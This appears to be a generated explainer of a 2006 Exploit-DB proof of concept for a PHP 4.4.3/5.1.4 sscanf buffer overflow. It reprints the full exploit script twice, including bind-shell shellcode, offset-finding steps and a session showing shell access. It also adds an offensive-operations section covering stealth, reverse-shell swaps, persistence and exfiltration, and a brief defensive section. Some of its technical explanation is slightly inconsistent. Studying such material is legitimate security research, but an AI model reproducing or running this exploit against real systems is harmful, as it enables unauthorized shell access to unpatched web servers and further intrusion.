PHP sscanf Local Buffer Overflow Exploit Explained

PHP sscanf Local Buffer Overflow Exploit Explained
What this paper is
This paper details a local buffer overflow vulnerability in PHP versions 4.4.3 and 5.1.4. The vulnerability exists within the sscanf function, which is used for parsing formatted input. An attacker can exploit this by providing a specially crafted string to sscanf that causes a buffer overflow, allowing them to overwrite critical memory structures. This can lead to arbitrary code execution, typically with the privileges of the web server process (e.g., www-data). The exploit provided is a proof-of-concept for educational purposes.
Simple technical breakdown
The sscanf function in vulnerable PHP versions doesn't properly validate the size of the input it processes when used with certain format specifiers. The exploit crafts a large string that, when passed to sscanf, overflows a buffer allocated for processing this string. This overflow corrupts adjacent memory, specifically targeting the return address on the stack or other control structures. By carefully controlling the overflow, the attacker can redirect the program's execution flow to their own injected shellcode. The provided PHP script constructs this malicious string and uses sscanf to trigger the vulnerability.
Complete code and payload walkthrough
The provided PHP script hoagie_php_sscanf.php is designed to exploit the sscanf buffer overflow.
<?
/***********************************************************
* hoagie_php_sscanf.php
* PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
*
* howto get offsets:
* (set $base_addr to 0x41414141)
* # ulimit -c 20000
* # /etc/init.d/apache restart
* (execute script via web browser)
* # tail /var/log/apache/error.log
* ...
* [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp
* ...
* $ gdb /usr/sbin/apache /tmp/core
* ...
* ...
* #0 0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/250 $edx
* ...
* 0x83ae16c: 0x41414141 0x41414141 0x41414141 0x41414141
* 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d 0x00000001
* ^^^^^^^^^^
* start of our buffer (0x83ae180) = $base_addr
* 0x83ae18c: 0x00000008 0x4141415d 0x0833d248 0x00000400
* 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31 0x435366b0
* ^^^^^^^^^^
* start of shell code (0x83ae1a4)
* 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789 0x43204e68
* 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150 0xcd66b0e1
* 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750 0xcd66b043
* 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930 0x51f6e241
* 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962 0xe1895351
* 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141 0x41414141
* 0x83ae20c: 0x41414141 0x41414141 0x41414141 0x41414141
* ...
* (gdb) quit
* #
* (change $base_addr in exploit and now call url again)
* # gdb /usr/sbin/apache /tmp/core
* #0 0x40475e73 in _efree ()
* from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/4w $ebp
* 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4 0xbfffb038
* ^^^^^^^^^^
* return address (return address location = 0xbfffb01c)
* (change $rec_log in exploit and call url again)
* $ telnet 127.0.0.1 20000
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id;
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* exit;
* Connection closed by foreign host.
* $
*
* NOTE: Because of PHP memory allocation this exploit depends on filename, pathname
* content etc... (because each line/byte will change emalloc() behavior
*
* Credits: Heintz (discovered this bug)
* BigHawk (bind shell code)
* Greuff (void.at)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
/* base_addr for buffer in memory */
$base_addr = 0x812a260;
$base_addr_fill = 0x16;
/* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */
$zval_attr = 0x00000008;
/* will be overwritten to execute our shellcode */
$ret_loc = 0xbfffb01c;
/* just for searching */
$pattern = 0xdeadbabe;
function long2str($addr) {
return pack("V", $addr);
}
$data =
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill) .
/* pattern */
long2str($pattern) .
/* current = base_addr */
long2str($base_addr + 0x4) .
/* *current = _zval_struct */
/* _zval_struct */
/* _zvalue_value */
/* _zvalue_value.str.val */
long2str($base_addr + 0x10 + 0xc) .
/* _zvalue_value_str.len */
long2str(0x00000001) .
/* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
long2str($zval_attr) .
/* _zend_mem_header */
/* _zend_mem_header.pNext = start of shellcode */
long2str($base_addr + 28) .
/* _zend_mem_header.pLast */
long2str($ret_loc) .
/* zend_mem_header.size, zend_mem_header.cached */
long2str(0x000000400) .
/* jump over next six bytes */
"\xeb\x06\x90\x90" .
/* this bytes will be overwritten by efree() */
"\x90\x90\x90\x90" .
/* shell code starts here -
* BigHawk bind() version - just a little update to get rid
* of 0x3f
*/
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd" .
"\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef" .
"\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43" .
"\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89" .
"\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f" .
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4" .
"\xf6\xd0\xcd\x80" .
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill);
/* fill up memory with emalloc() for sscanf() */
quotemeta($data);
/* trigger exploit */
sscanf($data, '%1$s', $str);
?>Key Variables and Structures:
$base_addr: This variable is crucial. It represents a target memory address that the exploit writer has identified through debugging (using GDB and core dumps). In the provided example, it's0x812a260. The exploit aims to control data at and around this address.$base_addr_fill: Determines how many times$base_addris repeated to fill memory. This helps control memory allocation patterns.$zval_attr: Represents attributes for azvalstructure, which is PHP's internal data type. The value0x00000008likely sets type, refcount, and is_ref flags.$ret_loc: This is the calculated address where the exploit expects to find the return address on the stack. Overwriting this with a pointer to the shellcode is the goal. In the example, it's0xbfffb01c.$pattern: A unique value (0xdeadbabe) used during debugging to easily locate specific parts of the overflowed buffer in memory.long2str($addr): A helper function that packs a 32-bit integer address into a little-endian string format, suitable for binary data.
Data Construction ($data variable):
The $data variable is meticulously crafted to exploit the vulnerability. It's a concatenation of several parts:
str_repeat(long2str($base_addr), $base_addr_fill):- Purpose: Fills the initial part of the buffer with repeated
$base_addrvalues. This is to align subsequent data correctly in memory and potentially influence PHP's memory allocation behavior. - Mapping:
str_repeat(...)-> Memory filling/alignment.
- Purpose: Fills the initial part of the buffer with repeated
long2str($pattern):- Purpose: Inserts the unique
$pattern(0xdeadbabe). This helps the attacker confirm they've hit the expected memory location during debugging. - Mapping:
long2str($pattern)-> Debugging marker.
- Purpose: Inserts the unique
long2str($base_addr + 0x4):- Purpose: This likely points to the next
zvalstructure or a related field. It's part of setting up the corruptedzvalstructure. - Mapping:
long2str($base_addr + 0x4)-> Pointer to nextzvalfield.
- Purpose: This likely points to the next
long2str($base_addr + 0x10 + 0xc):- Purpose: This points to the
valfield within thezvalue_valueunion of azvalstructure. Specifically, it's intended to point to the string data itself. - Mapping:
long2str($base_addr + 0x10 + 0xc)->zval.value.str.valpointer.
- Purpose: This points to the
long2str(0x00000001):- Purpose: Sets the length of the string data within the
zvalstructure to 1. This is a small, valid length. - Mapping:
long2str(0x00000001)->zval.value.str.len.
- Purpose: Sets the length of the string data within the
long2str($zval_attr):- Purpose: Sets the type and reference count attributes of the
zvalstructure. - Mapping:
long2str($zval_attr)->zval.type,zval.is_ref,zval.refcount.
- Purpose: Sets the type and reference count attributes of the
long2str($base_addr + 28):- Purpose: This is the pointer to the start of the shellcode. It's placed within what appears to be a
zend_mem_headerstructure, which PHP uses for memory management. This field (pNext) is likely being overwritten to point to our shellcode. - Mapping:
long2str($base_addr + 28)->zend_mem_header.pNext(points to shellcode).
- Purpose: This is the pointer to the start of the shellcode. It's placed within what appears to be a
long2str($ret_loc):- Purpose: This is the critical part for hijacking execution. It's placed in a field that, when the corrupted
zvalis freed or processed, will be used as a return address. The exploit overwrites this with$ret_loc, which is the calculated stack address where the return address is stored. - Mapping:
long2str($ret_loc)->zend_mem_header.pLast(points to return address on stack).
- Purpose: This is the critical part for hijacking execution. It's placed in a field that, when the corrupted
long2str(0x000000400):- Purpose: Represents
sizeandcachedfields within thezend_mem_header. - Mapping:
long2str(0x000000400)->zend_mem_header.size,zend_mem_header.cached.
- Purpose: Represents
"\xeb\x06\x90\x90":- Purpose: This is a short assembly jump instruction (
jmp short +6) followed by twonop(no operation) instructions. This is likely to skip over the next few bytes which are intended to be overwritten byefree(). - Mapping:
"\xeb\x06\x90\x90"-> Jump instruction to bypass overwritten bytes.
- Purpose: This is a short assembly jump instruction (
"\x90\x90\x90\x90":- Purpose: Four
nopinstructions. The exploit notes these bytes "will be overwritten by efree()". This is a placeholder for bytes that are expected to be corrupted during the cleanup process after the overflow. - Mapping:
"\x90\x90\x90\x90"-> Placeholder for overwritten bytes.
- Purpose: Four
Shellcode:
- Purpose: This is the actual payload that will be executed. It's a bind shell. This means it will open a network port on the target machine and wait for an incoming connection. Once connected, it provides a shell, allowing the attacker to execute commands.
- Bytes:
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4\xf6\xd0\xcd\x80" - Breakdown (High-level): This shellcode is typical for Linux x86. It performs the following actions:
- Sets up system calls (e.g.,
socket,bind,listen,dup2,execve). - Creates a socket.
- Binds the socket to a specific port (likely port 20000, based on the
telnetexample). - Listens for incoming connections.
- Accepts a connection.
- Duplicates the accepted socket's file descriptors to
stdin,stdout, andstderr(usingdup2). - Executes
/bin/shto provide a command shell.
- Sets up system calls (e.g.,
- Mapping: Shellcode -> Bind shell payload.
str_repeat(long2str($base_addr), $base_addr_fill):- Purpose: Another memory filling section. This is placed after the shellcode. This is important because PHP's memory management and the way
sscanfprocesses data can cause the overflow to corrupt memory in a way that requires these trailing bytes to be present and aligned correctly for the exploit to succeed. - Mapping:
str_repeat(...)-> Trailing memory filling/alignment.
- Purpose: Another memory filling section. This is placed after the shellcode. This is important because PHP's memory management and the way
Execution Flow:
quotemeta($data): This function is used here not for its typical purpose of escaping metacharacters, but likely as a way to force PHP to allocate memory for the string and potentially trigger some internal string handling that is susceptible to the overflow. The exploit notes "fill up memory with emalloc() for sscanf()".- Mapping:
quotemeta($data)-> Memory allocation and string processing trigger.
- Mapping:
sscanf($data, '%1$s', $str): This is the trigger.$data: The crafted malicious string.'%1$s': A format string.%1$smeans "take the first argument ($data) and interpret it as a string." This is a simple format, but the vulnerability lies in howsscanfhandles the size of the input string relative to its internal buffers.$str: The variable that would normally receive the parsed string. In this exploit, its content is less important than the side effects of thesscanfoperation.- Mapping:
sscanf(...)-> Vulnerability trigger.
When sscanf processes the oversized $data, it writes beyond the intended buffer. This overflow corrupts the zval structure and the adjacent zend_mem_header. Crucially, the zend_mem_header.pLast field is overwritten with $ret_loc. When PHP later attempts to free this corrupted memory chunk (e.g., during garbage collection or function exit), it uses the corrupted zend_mem_header information. The efree() function (or similar memory deallocation routines) will attempt to use the value in zend_mem_header.pLast as a return address, causing the program to jump to the shellcode.
Practical details for offensive operations teams
- Required Access Level: Local access to the target system is required. This exploit targets a vulnerability within the PHP interpreter itself, not a network service exposed to the internet. This means the attacker must already have some form of shell or command execution capability on the target machine.
- Lab Preconditions:
- A target system with a vulnerable version of PHP (4.4.3 or 5.1.4) installed.
- The web server (e.g., Apache) must be configured to execute PHP scripts.
- The target system must be Linux-based, as the shellcode is x86 Linux.
- Debugging tools like GDB and the ability to generate core dumps are essential for understanding and adapting the exploit (as demonstrated in the "howto get offsets" section).
- Network connectivity to the target for the bind shell to establish a connection back.
- Tooling Assumptions:
- A PHP interpreter capable of running the exploit script.
- Standard Linux command-line tools (
ulimit,apachectlor equivalent,tail,gdb,telnet). - A text editor to modify the exploit script.
- Execution Pitfalls:
- Memory Layout Dependencies: The exploit is highly dependent on the exact memory layout of the PHP interpreter and the web server process. This layout can vary based on the operating system, kernel version, compiler, and even the specific configuration of PHP and Apache. The
$base_addrand$ret_locvalues are specific to the environment where they were discovered and will almost certainly need to be re-discovered for a different target. The "NOTE" in the paper highlights this: "Because of PHP memory allocation this exploit depends on filename, pathname content etc... (because each line/byte will change emalloc() behavior)". - ASLR/DEP: Modern systems often employ Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP). ASLR would make predicting
$base_addrand$ret_locdifficult, while DEP would prevent shellcode from executing if it's placed in data segments. This exploit predates widespread ASLR/DEP adoption, making it more effective on older systems. - PHP Version Specificity: The exploit is tied to specific, older PHP versions. Newer versions have patched this vulnerability.
- Web Server Configuration: If the web server is not configured to execute PHP, or if the PHP module is not loaded, the exploit will not work.
- Shellcode Port: The bind shell listens on a specific port (implied to be 20000 from the
telnetexample). This port must be accessible from the attacker's machine and not blocked by firewalls. - Privilege Escalation: This exploit provides a shell with the privileges of the web server process (e.g.,
www-data). It does not inherently grant root privileges. Further privilege escalation techniques would be required if higher privileges are needed.
- Memory Layout Dependencies: The exploit is highly dependent on the exact memory layout of the PHP interpreter and the web server process. This layout can vary based on the operating system, kernel version, compiler, and even the specific configuration of PHP and Apache. The
- Tradecraft Considerations:
- Reconnaissance: Identifying the exact PHP version running on the target is paramount. This can often be done by examining HTTP headers (e.g.,
X-Powered-By) or by crafting simple PHP scripts that reveal version information. - Environment Analysis: Understanding the target OS, architecture, and web server configuration is crucial for adapting the exploit.
- Payload Customization: The bind shell can be modified to a reverse shell for better firewall traversal or to include other functionalities. The port can also be changed.
- Stealth: Executing PHP scripts through a web server can be logged. The attacker might need to obfuscate their actions or use other methods to gain initial access that are less noisy.
- Post-Exploitation: Once a shell is obtained, the attacker would typically look for ways to persist on the system, escalate privileges, and exfiltrate data.
- Reconnaissance: Identifying the exact PHP version running on the target is paramount. This can often be done by examining HTTP headers (e.g.,
Where this was used and when
This exploit was published in August 2006. It targets PHP versions that were current or recent at that time. Exploits of this nature are typically used by:
- Vulnerability Researchers: To demonstrate the existence and impact of security flaws.
- Malicious Actors: To gain unauthorized access to web servers running vulnerable PHP versions. This could be for defacement, data theft, or using the compromised server as a pivot point for further attacks.
- Penetration Testers: During authorized engagements to assess the security posture of systems.
Given its age and the patching of these vulnerabilities in subsequent PHP releases, its direct use in the wild today would be limited to legacy systems that have not been updated.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of keeping software, especially web server components and scripting languages like PHP, up-to-date. This vulnerability was fixed in later PHP versions.
- Input Validation: Functions like
sscanfand others that parse user-controlled input must be used with extreme caution. Developers should always validate the size and format of input to prevent buffer overflows. - Secure Coding Practices: Developers should be aware of common vulnerability classes like buffer overflows and understand how to write code that mitigates them. Using safer string handling functions and avoiding direct memory manipulation where possible is key.
- Runtime Protections: Modern operating systems and compilers offer protections like ASLR and DEP, which make exploits like this much harder to execute. Ensuring these protections are enabled and effective is vital.
- Web Application Firewalls (WAFs): While this exploit targets the PHP interpreter directly, a WAF might detect the malformed input string being sent to the server, potentially blocking the request before it reaches the vulnerable PHP code.
- Logging and Monitoring: Robust logging of web server access and PHP errors, coupled with real-time monitoring, can help detect suspicious activity, such as repeated failed requests or segmentation faults, which might indicate an attempted exploit.
ASCII visual (if applicable)
This exploit manipulates memory structures and execution flow. A simplified visual representation of the memory corruption and redirection could be:
+---------------------+
| Normal Program |
| Execution Flow |
+---------------------+
|
v
+---------------------+
| Vulnerable Function|
| (sscanf) |
+---------------------+
|
v
+---------------------+
| Input Buffer | <--- Malicious Data (oversized)
+---------------------+
|
v (Overflow occurs)
+---------------------+
| Corrupted Memory |
|---------------------|
| Original Data |
| [Heap/Stack Data] |
|---------------------|
| Overwritten Return | <--- Points to Shellcode
| Address |
+---------------------+
|
v (Program attempts to return)
+---------------------+
| Shellcode | <--- Malicious payload executes
| (Bind Shell) |
+---------------------+
|
v
+---------------------+
| Attacker Control |
| (Shell Access) |
+---------------------+Explanation:
- The program is executing normally.
- It calls the vulnerable
sscanffunction with a specially crafted, oversized input buffer. sscanfattempts to process this buffer but writes beyond its allocated space (buffer overflow).- This overflow corrupts adjacent memory, specifically overwriting a critical control structure like a return address on the stack.
- The overwritten return address now points to the attacker's shellcode.
- When the vulnerable function finishes and tries to return, it jumps to the shellcode instead of its intended destination.
- The shellcode executes, typically establishing a connection back to the attacker.
Source references
- PAPER ID: 2193
- PAPER TITLE: PHP 4.4.3/5.1.4 - 'sscanf' Local Buffer Overflow
- AUTHOR: Andi
- PUBLISHED: 2006-08-16
- KEYWORDS: Linux, local
- PAPER URL: https://www.exploit-db.com/papers/2193
- RAW URL: https://www.exploit-db.com/raw/2193
Original Exploit-DB Content (Verbatim)
<?
/***********************************************************
* hoagie_php_sscanf.php
* PHP <= 4.4.3 / 5.1.4 local buffer overflow exploit
*
* howto get offsets:
* (set $base_addr to 0x41414141)
* # ulimit -c 20000
* # /etc/init.d/apache restart
* (execute script via web browser)
* # tail /var/log/apache/error.log
* ...
* [Wed Aug 16 15:07:10 2006] [notice] child pid 28222 exit signal Segmentation fault (11), possible coredump in /tmp
* ...
* $ gdb /usr/sbin/apache /tmp/core
* ...
* ...
* #0 0x40422b2d in php_sscanf_internal () from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/250 $edx
* ...
* 0x83ae16c: 0x41414141 0x41414141 0x41414141 0x41414141
* 0x83ae17c: 0xdeadbabe 0x41414145 0x4141415d 0x00000001
* ^^^^^^^^^^
* start of our buffer (0x83ae180) = $base_addr
* 0x83ae18c: 0x00000008 0x4141415d 0x0833d248 0x00000400
* 0x83ae19c: 0x909006eb 0x90909090 0xe3f7db31 0x435366b0
* ^^^^^^^^^^
* start of shell code (0x83ae1a4)
* 0x83ae1ac: 0x89534353 0x80cd4be1 0x6652c789 0x43204e68
* 0x83ae1bc: 0xe1895366 0xd0f6efb0 0x89575150 0xcd66b0e1
* 0x83ae1cc: 0x4366b080 0x5080cd43 0xe1895750 0xcd66b043
* 0x83ae1dc: 0x89d98980 0x2c6fb0c3 0x80cd4930 0x51f6e241
* 0x83ae1ec: 0x732f6e68 0x2f2f6868 0xe3896962 0xe1895351
* 0x83ae1fc: 0xd0f6f4b0 0x414180cd 0x41414141 0x41414141
* 0x83ae20c: 0x41414141 0x41414141 0x41414141 0x41414141
* ...
* (gdb) quit
* #
* (change $base_addr in exploit and now call url again)
* # gdb /usr/sbin/apache /tmp/core
* #0 0x40475e73 in _efree ()
* from /usr/lib/apache/1.3/libphp4.so
* (gdb) x/4w $ebp
* 0xbfffb018: 0xbfffb038 0x40484241 0x0812a2f4 0xbfffb038
* ^^^^^^^^^^
* return address (return address location = 0xbfffb01c)
* (change $rec_log in exploit and call url again)
* $ telnet 127.0.0.1 20000
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id;
* uid=33(www-data) gid=33(www-data) groups=33(www-data)
* exit;
* Connection closed by foreign host.
* $
*
* NOTE: Because of PHP memory allocation this exploit depends on filename, pathname
* content etc... (because each line/byte will change emalloc() behavior
*
* Credits: Heintz (discovered this bug)
* BigHawk (bind shell code)
* Greuff (void.at)
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
/* base_addr for buffer in memory */
$base_addr = 0x812a260;
$base_addr_fill = 0x16;
/* byte 0 = fill up, byte 1 = refcount, byte 2 = is_ref, byte 3 = type */
$zval_attr = 0x00000008;
/* will be overwritten to execute our shellcode */
$ret_loc = 0xbfffb01c;
/* just for searching */
$pattern = 0xdeadbabe;
function long2str($addr) {
return pack("V", $addr);
}
$data =
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill) .
/* pattern */
long2str($pattern) .
/* current = base_addr */
long2str($base_addr + 0x4) .
/* *current = _zval_struct */
/* _zval_struct */
/* _zvalue_value */
/* _zvalue_value.str.val */
long2str($base_addr + 0x10 + 0xc) .
/* _zvalue_value_str.len */
long2str(0x00000001) .
/* _zval_struct.type, _zval_struct.is_ref, _zval_struct.refcount */
long2str($zval_attr) .
/* _zend_mem_header */
/* _zend_mem_header.pNext = start of shellcode */
long2str($base_addr + 28) .
/* _zend_mem_header.pLast */
long2str($ret_loc) .
/* zend_mem_header.size, zend_mem_header.cached */
long2str(0x000000400) .
/* jump over next six bytes */
"\xeb\x06\x90\x90" .
/* this bytes will be overwritten by efree() */
"\x90\x90\x90\x90" .
/* shell code starts here -
* BigHawk bind() version - just a little update to get rid
* of 0x3f
*/
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd" .
"\x80\x89\xc7\x52\x66\x68\x4e\x20\x43\x66\x53\x89\xe1\xb0\xef" .
"\xf6\xd0\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\x43\x43" .
"\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89" .
"\xc3\xb0\x6f\x2c\x30\x49\xcd\x80\x41\xe2\xf6\x51\x68\x6e\x2f" .
"\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\xf4" .
"\xf6\xd0\xcd\x80" .
/* fill up memory */
str_repeat(long2str($base_addr), $base_addr_fill);
/* fill up memory with emalloc() for sscanf() */
quotemeta($data);
/* trigger exploit */
sscanf($data, '%1$s', $str);
?>
# milw0rm.com [2006-08-16]